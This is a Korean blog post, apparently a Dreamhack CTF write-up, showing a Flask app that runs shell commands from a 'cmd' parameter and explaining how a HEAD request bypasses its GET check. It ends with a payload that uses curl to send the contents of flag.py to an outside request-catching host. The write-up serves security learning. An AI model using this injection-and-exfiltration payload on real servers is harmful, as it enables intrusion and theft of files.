반응형
문제 설명
flag 파일을 읽으면 된다.
소스코드
#!/usr/bin/env python3
from flask import Flask, request
import os
app = Flask(__name__)
@app.route('/' , methods=['GET'])
def index():
cmd = request.args.get('cmd', '')
if not cmd:
return "?cmd=[cmd]"
if request.method == 'GET':
''
else:
os.system(cmd)
return cmd
app.run(host='0.0.0.0', port=8000)
소스코드는 생각보다 짧다. cmd 파라미터를 받고 GET방식 말고 다른 방식으로 요청을 보내야 쉘에서 명령을 수행할 수 있다. 해당 문제를 풀기위해서는 HTTP 메소드에 대해 이해하여야한다.
먼저 options 메소드로 전송을 진행해보겠다.
http options 메소드는 서버에 대해 허용된 통신 옵션을 요청한다. 오른쪽 response 결과를 살펴보면 allow에 head, get, options 메소드가 있다. get과 options 메소드를 제외한 head 메소드가 남아있다. head 메소드에 대해 살펴보자.
head 메소드는 get 메소드의 요청과 동일한 응답을 요구한다. 하지만 response에서 head만 보일뿐 body 부분을 보여주지 않는다.
body가 보이지 않는다고 해서 os.system(cmd)가 실행되지 않은 것은 아니므로 문제를 해결할 수 있다.
curl 명령어를 사용하여 flag.py파일을 읽어 post 방식으로 공격자 서버로 보내서 플래그를 확인할 수 있다.
?cmd=curl%20-X%20POST%20-d%20"$(cat%20flag.py)"%20https://ckfdkhq.request.dreamhack.games
반응형
'WEB hacking > 드림핵(dreamhack)' 카테고리의 다른 글
드림핵 Relative Path Overwrite Advanced WriteUp (0) | 2023.09.09 |
---|---|
드림핵 Relative Path Overwrite WriteUp (0) | 2023.09.08 |
드림핵 Carve Party WriteUp (0) | 2023.09.04 |
드림핵 XSS Filtering Bypass WriteUp (0) | 2023.08.25 |
드림핵 web-ssrf Write Up (0) | 2023.08.09 |